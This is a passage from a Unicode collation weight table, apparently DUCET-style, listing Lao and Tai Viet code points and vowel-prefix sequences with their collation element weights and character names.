[.2CA4.0020.0002][.2CCE.0020.0002] # +0EC2 0E82 ; [.2CA4.0020.0002][.2CCF.0020.0002] # +0EC3 0E82 ; [.2CA4.0020.0002][.2CD0.0020.0002] # +0EC4 0E82 ; [.2CA4.0020.0002][.2CD1.0020.0002] # +0E84 ; [.2CA5.0020.0002] # LAO LETTER KHO TAM +0EC0 0E84 ; [.2CA5.0020.0002][.2CCD.0020.0002] # +0EC1 0E84 ; [.2CA5.0020.0002][.2CCE.0020.0002] # +0EC2 0E84 ; [.2CA5.0020.0002][.2CCF.0020.0002] # +0EC3 0E84 ; [.2CA5.0020.0002][.2CD0.0020.0002] # +0EC4 0E84 ; [.2CA5.0020.0002][.2CD1.0020.0002] # +0E87 ; [.2CA6.0020.0002] # LAO LETTER NGO +0EC0 0E87 ; [.2CA6.0020.0002][.2CCD.0020.0002] # +0EC1 0E87 ; [.2CA6.0020.0002][.2CCE.0020.0002] # +0EC2 0E87 ; [.2CA6.0020.0002][.2CCF.0020.0002] # +0EC3 0E87 ; [.2CA6.0020.0002][.2CD0.0020.0002] # +0EC4 0E87 ; [.2CA6.0020.0002][.2CD1.0020.0002] # +0E88 ; [.2CA7.0020.0002] # LAO LETTER CO +0EC0 0E88 ; [.2CA7.0020.0002][.2CCD.0020.0002] # +0EC1 0E88 ; [.2CA7.0020.0002][.2CCE.0020.0002] # +0EC2 0E88 ; [.2CA7.0020.0002][.2CCF.0020.0002] # +0EC3 0E88 ; [.2CA7.0020.0002][.2CD0.0020.0002] # +0EC4 0E88 ; [.2CA7.0020.0002][.2CD1.0020.0002] # +0EAA ; [.2CA8.0020.0002] # LAO LETTER SO SUNG +0EC0 0EAA ; [.2CA8.0020.0002][.2CCD.0020.0002] # +0EC1 0EAA ; [.2CA8.0020.0002][.2CCE.0020.0002] # +0EC2 0EAA ; [.2CA8.0020.0002][.2CCF.0020.0002] # +0EC3 0EAA ; [.2CA8.0020.0002][.2CD0.0020.0002] # +0EC4 0EAA ; [.2CA8.0020.0002][.2CD1.0020.0002] # +0E8A ; [.2CA9.0020.0002] # LAO LETTER SO TAM +0EC0 0E8A ; [.2CA9.0020.0002][.2CCD.0020.0002] # +0EC1 0E8A ; [.2CA9.0020.0002][.2CCE.0020.0002] # +0EC2 0E8A ; [.2CA9.0020.0002][.2CCF.0020.0002] # +0EC3 0E8A ; [.2CA9.0020.0002][.2CD0.0020.0002] # +0EC4 0E8A ; [.2CA9.0020.0002][.2CD1.0020.0002] # +0EDF ; [.2CAA.0020.0002] # LAO LETTER KHMU NYO +0EC0 0EDF ; [.2CAA.0020.0002][.2CCD.0020.0002] # +0EC1 0EDF ; [.2CAA.0020.0002][.2CCE.0020.0002] # +0EC2 0EDF ; [.2CAA.0020.0002][.2CCF.0020.0002] # +0EC3 0EDF ; [.2CAA.0020.0002][.2CD0.0020.0002] # +0EC4 0EDF ; [.2CAA.0020.0002][.2CD1.0020.0002] # +0E8D ; [.2CAB.0020.0002] # LAO LETTER NYO +0EC0 0E8D ; [.2CAB.0020.0002][.2CCD.0020.0002] # +0EC1 0E8D ; [.2CAB.0020.0002][.2CCE.0020.0002] # +0EC2 0E8D ; [.2CAB.0020.0002][.2CCF.0020.0002] # +0EC3 0E8D ; [.2CAB.0020.0002][.2CD0.0020.0002] # +0EC4 0E8D ; [.2CAB.0020.0002][.2CD1.0020.0002] # +0E94 ; [.2CAC.0020.0002] # LAO LETTER DO +0EC0 0E94 ; [.2CAC.0020.0002][.2CCD.0020.0002] # +0EC1 0E94 ; [.2CAC.0020.0002][.2CCE.0020.0002] # +0EC2 0E94 ; [.2CAC.0020.0002][.2CCF.0020.0002] # +0EC3 0E94 ; [.2CAC.0020.0002][.2CD0.0020.0002] # +0EC4 0E94 ; [.2CAC.0020.0002][.2CD1.0020.0002] # +0E95 ; [.2CAD.0020.0002] # LAO LETTER TO +0EC0 0E95 ; [.2CAD.0020.0002][.2CCD.0020.0002] # +0EC1 0E95 ; [.2CAD.0020.0002][.2CCE.0020.0002] # +0EC2 0E95 ; [.2CAD.0020.0002][.2CCF.0020.0002] # +0EC3 0E95 ; [.2CAD.0020.0002][.2CD0.0020.0002] # +0EC4 0E95 ; [.2CAD.0020.0002][.2CD1.0020.0002] # +0E96 ; [.2CAE.0020.0002] # LAO LETTER THO SUNG +0EC0 0E96 ; [.2CAE.0020.0002][.2CCD.0020.0002] # +0EC1 0E96 ; [.2CAE.0020.0002][.2CCE.0020.0002] # +0EC2 0E96 ; [.2CAE.0020.0002][.2CCF.0020.0002] # +0EC3 0E96 ; [.2CAE.0020.0002][.2CD0.0020.0002] # +0EC4 0E96 ; [.2CAE.0020.0002][.2CD1.0020.0002] # +0E97 ; [.2CAF.0020.0002] # LAO LETTER THO TAM +0EC0 0E97 ; [.2CAF.0020.0002][.2CCD.0020.0002] # +0EC1 0E97 ; [.2CAF.0020.0002][.2CCE.0020.0002] # +0EC2 0E97 ; [.2CAF.0020.0002][.2CCF.0020.0002] # +0EC3 0E97 ; [.2CAF.0020.0002][.2CD0.0020.0002] # +0EC4 0E97 ; [.2CAF.0020.0002][.2CD1.0020.0002] # +0E99 ; [.2CB0.0020.0002] # LAO LETTER NO +0EC0 0E99 ; [.2CB0.0020.0002][.2CCD.0020.0002] # +0EC1 0E99 ; [.2CB0.0020.0002][.2CCE.0020.0002] # +0EC2 0E99 ; [.2CB0.0020.0002][.2CCF.0020.0002] # +0EC3 0E99 ; [.2CB0.0020.0002][.2CD0.0020.0002] # +0EC4 0E99 ; [.2CB0.0020.0002][.2CD1.0020.0002] # +0E9A ; [.2CB1.0020.0002] # LAO LETTER BO +0EC0 0E9A ; [.2CB1.0020.0002][.2CCD.0020.0002] # +0EC1 0E9A ; [.2CB1.0020.0002][.2CCE.0020.0002] # +0EC2 0E9A ; [.2CB1.0020.0002][.2CCF.0020.0002] # +0EC3 0E9A ; [.2CB1.0020.0002][.2CD0.0020.0002] # +0EC4 0E9A ; [.2CB1.0020.0002][.2CD1.0020.0002] # +0E9B ; [.2CB2.0020.0002] # LAO LETTER PO +0EC0 0E9B ; [.2CB2.0020.0002][.2CCD.0020.0002] # +0EC1 0E9B ; [.2CB2.0020.0002][.2CCE.0020.0002] # +0EC2 0E9B ; [.2CB2.0020.0002][.2CCF.0020.0002] # +0EC3 0E9B ; [.2CB2.0020.0002][.2CD0.0020.0002] # +0EC4 0E9B ; [.2CB2.0020.0002][.2CD1.0020.0002] # +0E9C ; [.2CB3.0020.0002] # LAO LETTER PHO SUNG +0EC0 0E9C ; [.2CB3.0020.0002][.2CCD.0020.0002] # +0EC1 0E9C ; [.2CB3.0020.0002][.2CCE.0020.0002] # +0EC2 0E9C ; [.2CB3.0020.0002][.2CCF.0020.0002] # +0EC3 0E9C ; [.2CB3.0020.0002][.2CD0.0020.0002] # +0EC4 0E9C ; [.2CB3.0020.0002][.2CD1.0020.0002] # +0E9D ; [.2CB4.0020.0002] # LAO LETTER FO TAM +0EC0 0E9D ; [.2CB4.0020.0002][.2CCD.0020.0002] # +0EC1 0E9D ; [.2CB4.0020.0002][.2CCE.0020.0002] # +0EC2 0E9D ; [.2CB4.0020.0002][.2CCF.0020.0002] # +0EC3 0E9D ; [.2CB4.0020.0002][.2CD0.0020.0002] # +0EC4 0E9D ; [.2CB4.0020.0002][.2CD1.0020.0002] # +0E9E ; [.2CB5.0020.0002] # LAO LETTER PHO TAM +0EC0 0E9E ; [.2CB5.0020.0002][.2CCD.0020.0002] # +0EC1 0E9E ; [.2CB5.0020.0002][.2CCE.0020.0002] # +0EC2 0E9E ; [.2CB5.0020.0002][.2CCF.0020.0002] # +0EC3 0E9E ; [.2CB5.0020.0002][.2CD0.0020.0002] # +0EC4 0E9E ; [.2CB5.0020.0002][.2CD1.0020.0002] # +0E9F ; [.2CB6.0020.0002] # LAO LETTER FO SUNG +0EC0 0E9F ; [.2CB6.0020.0002][.2CCD.0020.0002] # +0EC1 0E9F ; [.2CB6.0020.0002][.2CCE.0020.0002] # +0EC2 0E9F ; [.2CB6.0020.0002][.2CCF.0020.0002] # +0EC3 0E9F ; [.2CB6.0020.0002][.2CD0.0020.0002] # +0EC4 0E9F ; [.2CB6.0020.0002][.2CD1.0020.0002] # +0EA1 ; [.2CB7.0020.0002] # LAO LETTER MO +0EC0 0EA1 ; [.2CB7.0020.0002][.2CCD.0020.0002] # +0EC1 0EA1 ; [.2CB7.0020.0002][.2CCE.0020.0002] # +0EC2 0EA1 ; [.2CB7.0020.0002][.2CCF.0020.0002] # +0EC3 0EA1 ; [.2CB7.0020.0002][.2CD0.0020.0002] # +0EC4 0EA1 ; [.2CB7.0020.0002][.2CD1.0020.0002] # +0EA2 ; [.2CB8.0020.0002] # LAO LETTER YO +0EC0 0EA2 ; [.2CB8.0020.0002][.2CCD.0020.0002] # +0EC1 0EA2 ; [.2CB8.0020.0002][.2CCE.0020.0002] # +0EC2 0EA2 ; [.2CB8.0020.0002][.2CCF.0020.0002] # +0EC3 0EA2 ; [.2CB8.0020.0002][.2CD0.0020.0002] # +0EC4 0EA2 ; [.2CB8.0020.0002][.2CD1.0020.0002] # +0EA3 ; [.2CB9.0020.0002] # LAO LETTER LO LING +0EC0 0EA3 ; [.2CB9.0020.0002][.2CCD.0020.0002] # +0EC1 0EA3 ; [.2CB9.0020.0002][.2CCE.0020.0002] # +0EC2 0EA3 ; [.2CB9.0020.0002][.2CCF.0020.0002] # +0EC3 0EA3 ; [.2CB9.0020.0002][.2CD0.0020.0002] # +0EC4 0EA3 ; [.2CB9.0020.0002][.2CD1.0020.0002] # +0EA5 ; [.2CBA.0020.0002] # LAO LETTER LO LOOT +0EC0 0EA5 ; [.2CBA.0020.0002][.2CCD.0020.0002] # +0EC1 0EA5 ; [.2CBA.0020.0002][.2CCE.0020.0002] # +0EC2 0EA5 ; [.2CBA.0020.0002][.2CCF.0020.0002] # +0EC3 0EA5 ; [.2CBA.0020.0002][.2CD0.0020.0002] # +0EC4 0EA5 ; [.2CBA.0020.0002][.2CD1.0020.0002] # +0EA7 ; [.2CBB.0020.0002] # LAO LETTER WO +0EC0 0EA7 ; [.2CBB.0020.0002][.2CCD.0020.0002] # +0EC1 0EA7 ; [.2CBB.0020.0002][.2CCE.0020.0002] # +0EC2 0EA7 ; [.2CBB.0020.0002][.2CCF.0020.0002] # +0EC3 0EA7 ; [.2CBB.0020.0002][.2CD0.0020.0002] # +0EC4 0EA7 ; [.2CBB.0020.0002][.2CD1.0020.0002] # +0EAB ; [.2CBC.0020.0002] # LAO LETTER HO SUNG +0EDC ; [.2CBC.0020.0004][.2CB0.0020.0004] # LAO HO NO +0EC0 0EDC ; [.2CBC.0020.0004][.2CB0.0020.0004][.2CCD.0020.0002] # +0EC1 0EDC ; [.2CBC.0020.0004][.2CB0.0020.0004][.2CCE.0020.0002] # +0EC2 0EDC ; [.2CBC.0020.0004][.2CB0.0020.0004][.2CCF.0020.0002] # +0EC3 0EDC ; [.2CBC.0020.0004][.2CB0.0020.0004][.2CD0.0020.0002] # +0EC4 0EDC ; [.2CBC.0020.0004][.2CB0.0020.0004][.2CD1.0020.0002] # +0EDD ; [.2CBC.0020.0004][.2CB7.0020.0004] # LAO HO MO +0EC0 0EDD ; [.2CBC.0020.0004][.2CB7.0020.0004][.2CCD.0020.0002] # +0EC1 0EDD ; [.2CBC.0020.0004][.2CB7.0020.0004][.2CCE.0020.0002] # +0EC2 0EDD ; [.2CBC.0020.0004][.2CB7.0020.0004][.2CCF.0020.0002] # +0EC3 0EDD ; [.2CBC.0020.0004][.2CB7.0020.0004][.2CD0.0020.0002] # +0EC4 0EDD ; [.2CBC.0020.0004][.2CB7.0020.0004][.2CD1.0020.0002] # +0EC0 0EAB ; [.2CBC.0020.0002][.2CCD.0020.0002] # +0EC1 0EAB ; [.2CBC.0020.0002][.2CCE.0020.0002] # +0EC2 0EAB ; [.2CBC.0020.0002][.2CCF.0020.0002] # +0EC3 0EAB ; [.2CBC.0020.0002][.2CD0.0020.0002] # +0EC4 0EAB ; [.2CBC.0020.0002][.2CD1.0020.0002] # +0EAD ; [.2CBD.0020.0002] # LAO LETTER O +0EC0 0EAD ; [.2CBD.0020.0002][.2CCD.0020.0002] # +0EC1 0EAD ; [.2CBD.0020.0002][.2CCE.0020.0002] # +0EC2 0EAD ; [.2CBD.0020.0002][.2CCF.0020.0002] # +0EC3 0EAD ; [.2CBD.0020.0002][.2CD0.0020.0002] # +0EC4 0EAD ; [.2CBD.0020.0002][.2CD1.0020.0002] # +0EAE ; [.2CBE.0020.0002] # LAO LETTER HO TAM +0EC0 0EAE ; [.2CBE.0020.0002][.2CCD.0020.0002] # +0EC1 0EAE ; [.2CBE.0020.0002][.2CCE.0020.0002] # +0EC2 0EAE ; [.2CBE.0020.0002][.2CCF.0020.0002] # +0EC3 0EAE ; [.2CBE.0020.0002][.2CD0.0020.0002] # +0EC4 0EAE ; [.2CBE.0020.0002][.2CD1.0020.0002] # +0EAF ; [.2CBF.0020.0002] # LAO ELLIPSIS +0EB0 ; [.2CC0.0020.0002] # LAO VOWEL SIGN A +0EB1 ; [.2CC1.0020.0002] # LAO VOWEL SIGN MAI KAN +0EB2 ; [.2CC2.0020.0002] # LAO VOWEL SIGN AA +0EB3 ; [.2CC3.0020.0002] # LAO VOWEL SIGN AM +0ECD 0EB2 ; [.2CC3.0020.0002] # LAO VOWEL SIGN AM +0EB4 ; [.2CC4.0020.0002] # LAO VOWEL SIGN I +0EB5 ; [.2CC5.0020.0002] # LAO VOWEL SIGN II +0EB6 ; [.2CC6.0020.0002] # LAO VOWEL SIGN Y +0EB7 ; [.2CC7.0020.0002] # LAO VOWEL SIGN YY +0EB8 ; [.2CC8.0020.0002] # LAO VOWEL SIGN U +0EB9 ; [.2CC9.0020.0002] # LAO VOWEL SIGN UU +0EBB ; [.2CCA.0020.0002] # LAO VOWEL SIGN MAI KON +0EBC ; [.2CCB.0020.0002] # LAO SEMIVOWEL SIGN LO +0EBD ; [.2CCC.0020.0002] # LAO SEMIVOWEL SIGN NYO +0EC0 ; [.2CCD.0020.0002] # LAO VOWEL SIGN E +0EC1 ; [.2CCE.0020.0002] # LAO VOWEL SIGN EI +0EC2 ; [.2CCF.0020.0002] # LAO VOWEL SIGN O +0EC3 ; [.2CD0.0020.0002] # LAO VOWEL SIGN AY +0EC4 ; [.2CD1.0020.0002] # LAO VOWEL SIGN AI +AA80 ; [.2CD2.0020.0002] # TAI VIET LETTER LOW KO +AAB5 AA80 ; [.2CD2.0020.0002][.2D07.0020.0002] # +AAB6 AA80 ; [.2CD2.0020.0002][.2D08.0020.0002] # +AAB9 AA80 ; [.2CD2.0020.0002][.2D0B.0020.0002] # +AABB AA80 ; [.2CD2.0020.0002][.2D0D.0020.0002] # +AABC AA80 ; [.2CD2.0020.0002][.2D0E.0020.0002] # +AA81 ; [.2CD3.0020.0002] # TAI VIET LETTER HIGH KO +AAB5 AA81 ; [.2CD3.0020.0002][.2D07.0020.0002] # +AAB6 AA81 ; [.2CD3.0020.0002][.2D08.0020.0002] # +AAB9 AA81 ; [.2CD3.0020.0002][.2D0B.0020.0002] # +AABB AA81 ; [.2CD3.0020.0002][.2D0D.0020.0002] # +AABC AA81 ; [.2CD3.0020.0002][.2D0E.0020.0002] # +AA82 ; [.2CD4.0020.0002] # TAI VIET LETTER LOW KHO +AAB5 AA82 ; [.2CD4.0020.0002][.2D07.0020.0002] # +AAB6 AA82 ; [.2CD4.0020.0002][.2D08.0020.0002] # +AAB9 AA82 ; [.2CD4.0020.0002][.2D0B.0020.0002] # +AABB AA82 ; [.2CD4.0020.0002][.2D0D.0020.0002] # +AABC AA82 ; [.2CD4.0020.0002][.2D0E.0020.0002] # +AA83 ; [.2CD5.0020.0002] # TAI VIET LETTER HIGH KHO +AAB5 AA83 ; [.2CD5.0020.0002][.2D07.0020.0002] # +AAB6 AA83 ; [.2CD5.0020.0002][.2D08.0020.0002] # +AAB9 AA83 ; [.2CD5.0020.0002][.2D0B.0020.0002] # +AABB AA83 ; [.2CD5.0020.0002][.2D0D.0020.0002] # +AABC AA83 ; [.2CD5.0020.0002][.2D0E.0020.0002] # +AA84 ; [.2CD6.0020.0002] # TAI VIET LETTER LOW KHHO +AAB5 AA84 ; [.2CD6.0020.0002][.2D07.0020.0002] # +AAB6 AA84 ; [.2CD6.0020.0002][.2D08.0020.0002] # +AAB9 AA84 ; [.2CD6.0020.0002][.2D0B.0020.0002] # +AABB AA84 ; [.2CD6.0020.0002][.2D0D.0020.0002] # +AABC AA84 ; [.2CD6.0020.0002][.2D0E.0020.0002] # +AA85 ; [.2CD7.0020.0002] # TAI VIET LETTER HIGH KHHO +AAB5 AA85 ; [.2CD7.0020.0002][.2D07.0020.0002] # +AAB6 AA85 ; [.2CD7.0020.0002][.2D08.0020.0002] # +AAB9 AA85 ; [.2CD7.0020.0002][.2D0B.0020.0002] # +AABB AA85 ; [.2CD7.0020.0002][.2D0D.0020.0002] # +AABC AA85 ; [.2CD7.0020.0002][.2D0E.0020.0002] # +AA86 ; [.2CD8.0020.0002] # TAI VIET LETTER LOW GO +AAB5 AA86 ; [.2CD8.0020.0002][.2D07.0020.0002] # +AAB6 AA86 ; [.2CD8.0020.0002][.2D08.0020.0002] # +AAB9 AA86 ; [.2CD8.0020.0002][.2D0B.0020.0002] # +AABB AA86 ; [.2CD8.0020.0002][.2D0D.0020.0002] # +AABC AA86 ; [.2CD8.0020.0002][.2D0E.0020.0002] # +AA87 ; [.2CD9.0020.0002] # TAI VIET LETTER HIGH GO +AAB5 AA87 ; [.2CD9.0020.0002][.2D07.0020.0002] # +AAB6 AA87 ; [.2CD9.0020.0002][.2D08.0020.0002] # +AAB9 AA87 ; [.2CD9.0020.0002][.2D0B.0020.0002] # +AABB AA87 ; [.2CD9.0020.0002][.2D0D.0020.0002] # +AABC AA87 ; [.2CD9.0020.0002][.2D0E.0020.0002] # +AA88 ; [.2CDA.0020.0002] # TAI VIET LETTER LOW NGO +AAB5 AA88 ; [.2CDA.0020.0002][.2D07.0020.0002] # +AAB6 AA88 ; [.2CDA.0020.0002][.2D08.0020.0002] # +AAB9 AA88 ; [.2CDA.0020.0002][.2D0B.0020.0002] # +AABB AA88 ; [.2CDA.0020.0002][.2D0D.0020.0002] # +AABC AA88 ; [.2CDA.0020.0002][.2D0E.0020.0002] # +AA89 ; [.2CDB.0020.0002] # TAI VIET LETTER HIGH NGO +AAB5 AA89 ; [.2CDB.0020.0002][.2D07.0020.0002] # +AAB6 AA89 ; [.2CDB.0020.0002][.2D08.0020.0002] # +AAB9 AA89 ; [.2CDB.0020.0002][.2D0B.0020.0002] # +AABB AA89 ; [.2CDB.0020.0002][.2D0D.0020.0002] # +AABC AA89 ; [.2CDB.0020.0002][.2D0E.0020.0002] # +AA8A ; [.2CDC.0020.0002] # TAI VIET LETTER LOW CO +AAB5 AA8A ; [.2CDC.0020.0002][.2D07.0020.0002] # +AAB6 AA8A ; [.2CDC.0020.0002][.2D08.0020.0002] # +AAB9 AA8A ; [.2CDC.0020.0002][.2D0B.0020.0002] # +AABB AA8A ; [.2CDC.0020.0002][.2D0D.0020.0002] # +AABC AA8A ; [.2CDC.0020.0002][.2D0E.0020.0002] # +AA8B ; [.2CDD.0020.0002] # TAI VIET LETTER HIGH CO +AAB5 AA8B ; [.2CDD.0020.0002][.2D07.0020.0002] # +AAB6 AA8B ; [.2CDD.0020.0002][.2D08.0020.0002] # +AAB9 AA8B ; [.2CDD.0020.0002][.2D0B.0020.0002] # +AABB AA8B ; [.2CDD.0020.0002][.2D0D.0020.0002] # +AABC AA8B ; [.2CDD.0020.0002][.2D0E.0020.0002] # +AA8C ; [.2CDE.0020.0002] # TAI VIET LETTER LOW CHO +AAB5 AA8C ; [.2CDE.0020.0002][.2D07.0020.0002] # +AAB6 AA8C ; [.2CDE.0020.0002][.2D08.0020.0002] # +AAB9 AA8C ; [.2CDE.0020.0002][.2D0B.0020.0002] # +AABB AA8C ; [.2CDE.0020.0002][.2D0D.0020.0002] # +AABC AA8C ; [.2CDE.0020.0002][.2D0E.0020.0002] # +AA8D ; [.2CDF.0020.0002] # TAI VIET LETTER HIGH CHO +AAB5 AA8D ; [.2CDF.0020.0002][.2D07.0020.0002] # +AAB6 AA8D ; [.2CDF.0020.0002][.2D08.0020.0002] # +AAB9 AA8D ; [.2CDF.0020.0002][.2D0B.0020.0002] # +AABB AA8D ; [.2CDF.0020.0002][.2D0D.0020.0002] # +AABC AA8D ; [.2CDF.0020.0002][.2D0E.0020.0002] # +AA8E ; [.2CE0.0020.0002] # TAI VIET LETTER LOW SO +AAB5 AA8E ; [.2CE0.0020.0002][.2D07.0020.0002] # +AAB6 AA8E ; [.2CE0.0020.0002][.2D08.0020.0002] # +AAB9 AA8E ; [.2CE0.0020.0002][.2D0B.0020.0002] # +AABB AA8E ; [.2CE0.0020.0002][.2D0D.0020.0002] # +AABC AA8E ; [.2CE0.0020.0002][.2D0E.0020.0002] # +AA8F ; [.2CE1.0020.0002] # TAI VIET LETTER HIGH SO +AAB5 AA8F ; [.2CE1.0020.0002][.2D07.0020.0002] # +AAB6 AA8F ; [.2CE1.0020.0002][.2D08.0020.0002] # +AAB9 AA8F ; [.2CE1.0020.0002][.2D0B.0020.0002] # +AABB AA8F ; [.2CE1.0020.0002][.2D0D.0020.0002] # +AABC AA8F ; [.2CE1.0020.0002][.2D0E.0020.0002] # +AA90 ; [.2CE2.0020.0002] # TAI VIET LETTER LOW NYO +AAB5 AA90 ; [.2CE2.0020.0002][.2D07.0020.0002] # +AAB6 AA90 ; [.2CE2.0020.0002][.2D08.0020.0002] # +AAB9 AA90 ; [.2CE2.0020.0002][.2D0B.0020.0002] # +AABB AA90 ; [.2CE2.0020.0002][.2D0D.0020.0002] # +AABC AA90 ; [.2CE2.0020.0002][.2D0E.0020.0002] # +AA91 ; [.2CE3.0020.0002] # TAI VIET LETTER HIGH NYO +AAB5 AA91 ; [.2CE3.0020.0002][.2D07.0020.0002] # +AAB6 AA91 ; [.2CE3.0020.0002][.2D08.0020.0002] # +AAB9 AA91 ; [.2CE3.0020.0002][.2D0B.0020.0002] # +AABB AA91 ; [.2CE3.0020.0002][.2D0D.0020.0002] # +AABC AA91 ; [.2CE3.0020.0002][.2D0E.0020.0002] # +AA92 ; [.2CE4.0020.0002] # TAI VIET LETTER LOW DO +AAB5 AA92 ; [.2CE4.0020.0002][.2D07.0020.0002] # +AAB6 AA92 ; [.2CE4.0020.0002][.2D08.0020.0002] # +AAB9 AA92 ; [.2CE4.0020.0002][.2D0B.0020.0002] # +AABB AA92 ; [.2CE4.0020.0002][.2D0D.0020.0002] # +AABC AA92 ; [.2CE4.0020.0002][.2D0E.0020.0002] # +AA93 ; [.2CE5.0020.0002] # TAI VIET LETTER HIGH DO +AAB5 AA93 ; [.2CE5.0020.0002][.2D07.0020.0002] # +AAB6 AA93 ; [.2CE5.0020.0002][.2D08.0020.0002] # +AAB9 AA93 ; [.2CE5.0020.0002][.2D0B.0020.0002] # +AABB AA93 ; [.2CE5.0020.0002][.2D0D.0020.0002] # +AABC AA93 ; [.2CE5.0020.0002][.2D0E.0020.0002] # +AA94 ; [.2CE6.0020.0002] # TAI VIET LETTER LOW TO +AAB5 AA94 ; [.2CE6.0020.0002][.2D07.0020.0002] # +AAB6 AA94 ; [.2CE6.0020.0002][.2D08.0020.0002] # +AAB9 AA94 ; [.2CE6.0020.0002][.2D0B.0020.0002] # +AABB AA94 ; [.2CE6.0020.0002][.2D0D.0020.0002] # +AABC AA94 ; [.2CE6.0020.0002][.2D0E.0020.0002] # +AA95 ; [.2CE7.0020.0002] # TAI VIET LETTER HIGH TO +AAB5 AA95 ; [.2CE7.0020.0002][.2D07.0020.0002] # +AAB6 AA95 ; [.2CE7.0020.0002][.2D08.0020.0002] # +AAB9 AA95 ; [.2CE7.0020.0002][.2D0B.0020.0002] # +AABB AA95 ; [.2CE7.0020.0002][.2D0D.0020.0002] # +AABC AA95 ; [.2CE7.0020.0002][.2D0E.0020.0002] # +AA96 ; [.2CE8.0020.0002] # TAI VIET LETTER LOW THO +AAB5 AA96 ; [.2CE8.0020.0002][.2D07.0020.0002] # +AAB6 AA96 ; [.2CE8.0020.0002][.2D08.0020.0002] # +AAB9 AA96 ; [.2CE8.0020.0002][.2D0B.0020.0002] # +AABB AA96 ; [.2CE8.0020.0002][.2D0D.0020.0002] # +AABC AA96 ; [.2CE8.0020.0002][.2D0E.0020.0002] # +AA97 ; [.2CE9.0020.0002] # TAI VIET LETTER HIGH THO +AAB5 AA97 ; [.2CE9.0020.0002][.2D07.0020.0002] # +AAB6 AA97 ; [.2CE9.0020.0002][.2D08.0020.0002] # +AAB9 AA97 ; [.2CE9.0020.0002][.2D0B.0020.0002] # +AABB AA97 ; [.2CE9.0020.0002][.2D0D.0020.0002] # +AABC AA97 ; [.2CE9.0020.0002][.2D0E.0020.0002] # +AA98 ; [.2CEA.0020.0002] # TAI VIET LETTER LOW NO +AAB5 AA98 ; [.2CEA.0020.0002][.2D07.0020.0002] # +AAB6 AA98 ; [.2CEA.0020.0002][.2D08.0020.0002] # +AAB9 AA98 ; [.2CEA.0020.0002][.2D0B.0020.0002] # +AABB AA98 ; [.2CEA.0020.0002][.2D0D.0020.0002] # +AABC AA98 ; [.2CEA.0020.0002][.2D0E.0020.0002] # +AA99 ; [.2CEB.0020.0002] # TAI VIET LETTER HIGH NO +AAB5 AA99 ; [.2CEB.0020.0002][.2D07.0020.0002] # +AAB6 AA99 ; [.2CEB.0020.0002][.2D08.0020.0002] # +AAB9 AA99 ; [.2CEB.0020.0002][.2D0B.0020.0002] # +AABB AA99 ; [.2CEB.0020.0002][.2D0D.0020.0002] # +AABC AA99 ; [.2CEB.0020.0002][.2D0E.0020.0002] # +AA9A ; [.2CEC.0020.0002] # TAI VIET LETTER LOW BO +AAB5 AA9A ; [.2CEC.0020.0002][.2D07.0020.0002] # +AAB6 AA9A ; [.2CEC.0020.0002][.2D08.0020.0002] # +AAB9 AA9A ; [.2CEC.0020.0002][.2D0B.0020.0002] # +AABB AA9A ; [.2CEC.0020.0002][.2D0D.0020.0002] # +AABC AA9A ; [.2CEC.0020.0002][.2D0E.0020.0002] # +AA9B ; [.2CED.0020.0002] # TAI VIET LETTER HIGH BO +AAB5 AA9B ; [.2CED.0020.0002][.2D07.0020.0002] # +AAB6 AA9B ; [.2CED.0020.0002][.2D08.0020.0002] # +AAB9 AA9B ; [.2CED.0020.0002][.2D0B.0020.0002] # +AABB AA9B ; [.2CED.0020.0002][.2D0D.0020.0002] # +AABC AA9B ; [.2CED.0020.0002][.2D0E.0020.0002] # +AA9C ; [.2CEE.0020.0002] # TAI VIET LETTER LOW PO +AAB5 AA9C ; [.2CEE.0020.0002][.2D07.0020.0002] # +AAB6 AA9C ; [.2CEE.0020.0002][.2D08.0020.0002] # +AAB9 AA9C ; [.2CEE.0020.0002][.2D0B.0020.0002] # +AABB AA9C ; [.2CEE.0020.0002][.2D0D.0020.0002] # +AABC AA9C ; [.2CEE.0020.0002][.2D0E.0020.0002] # +AA9D ; [.2CEF.0020.0002] # TAI VIET LETTER HIGH PO +AAB5 AA9D ; [.2CEF.0020.0002][.2D07.0020.0002] # +AAB6 AA9D ; [.2CEF.0020.0002][.2D08.0020.0002] # +AAB9 AA9D ; [.2CEF.0020.0002][.2D0B.0020.0002] # +AABB AA9D ; [.2CEF.0020.0002][.2D0D.0020.0002] # +AABC AA9D ; [.2CEF.0020.0002][.2D0E.0020.0002] # +AA9E ; [.2CF0.0020.0002] # TAI VIET LETTER LOW PHO +AAB5 AA9E ; [.2CF0.0020.0002][.2D07.0020.0002] # +AAB6 AA9E ; [.2CF0.0020.0002][.2D08.0020.0002] # +AAB9 AA9E ; [.2CF0.0020.0002][.2D0B.0020.0002] # +AABB AA9E ; [.2CF0.0020.0002][.2D0D.0020.0002] # +AABC AA9E ; [.2CF0.0020.0002][.2D0E.0020.0002] # +AA9F ; [.2CF1.0020.0002] # TAI VIET LETTER HIGH PHO +AAB5 AA9F ; [.2CF1.0020.0002][.2D07.0020.0002] # +AAB6 AA9F ; [.2CF1.0020.0002][.2D08.0020.0002] # +AAB9 AA9F ; [.2CF1.0020.0002][.2D0B.0020.0002] # +AABB AA9F ; [.2CF1.0020.0002][.2D0D.0020.0002] # +AABC AA9F ; [.2CF1.0020.0002][.2D0E.0020.0002] # +AAA0 ; [.2CF2.0020.0002] # TAI VIET LETTER LOW FO +AAB5 AAA0 ; [.2CF2.0020.0002][.2D07.0020.0002] # +AAB6 AAA0 ; [.2CF2.0020.0002][.2D08.0020.0002] # +AAB9 AAA0 ; [.2CF2.0020.0002][.2D0B.0020.0002] # +AABB AAA0 ; [.2CF2.0020.0002][.2D0D.0020.0002] # +AABC AAA0 ; [.2CF2.0020.0002][.2D0E.0020.0002] # +AAA1 ; [.2CF3.0020.0002] # TAI VIET LETTER HIGH FO +AAB5 AAA1 ; [.2CF3.0020.0002][.2D07.0020.0002] # +AAB6 AAA1 ; [.2CF3.0020.0002][.2D08.0020.0002] # +AAB9 AAA1 ; [.2CF3.0020.0002][.2D0B.0020.0002] # +AABB AAA1 ; [.2CF3.0020.0002][.2D0D.0020.0002] # +AABC AAA1 ; [.2CF3.0020.0002][.2D0E.0020.0002] # +AAA2 ; [.2CF4.0020.0002] # TAI VIET LETTER LOW MO +AAB5 AAA2 ; [.2CF4.0020.0002][.2D07.0020.0002] # +AAB6 AAA2 ; [.2CF4.0020.0002][.2D08.0020.0002] # +AAB9 AAA2 ; [.2CF4.0020.0002][.2D0B.0020.0002] # +AABB AAA2 ; [.2CF4.0020.0002][.2D0D.0020.0002] # +AABC AAA2 ; [.2CF4.0020.0002][.2D0E.0020.0002] # +AAA3 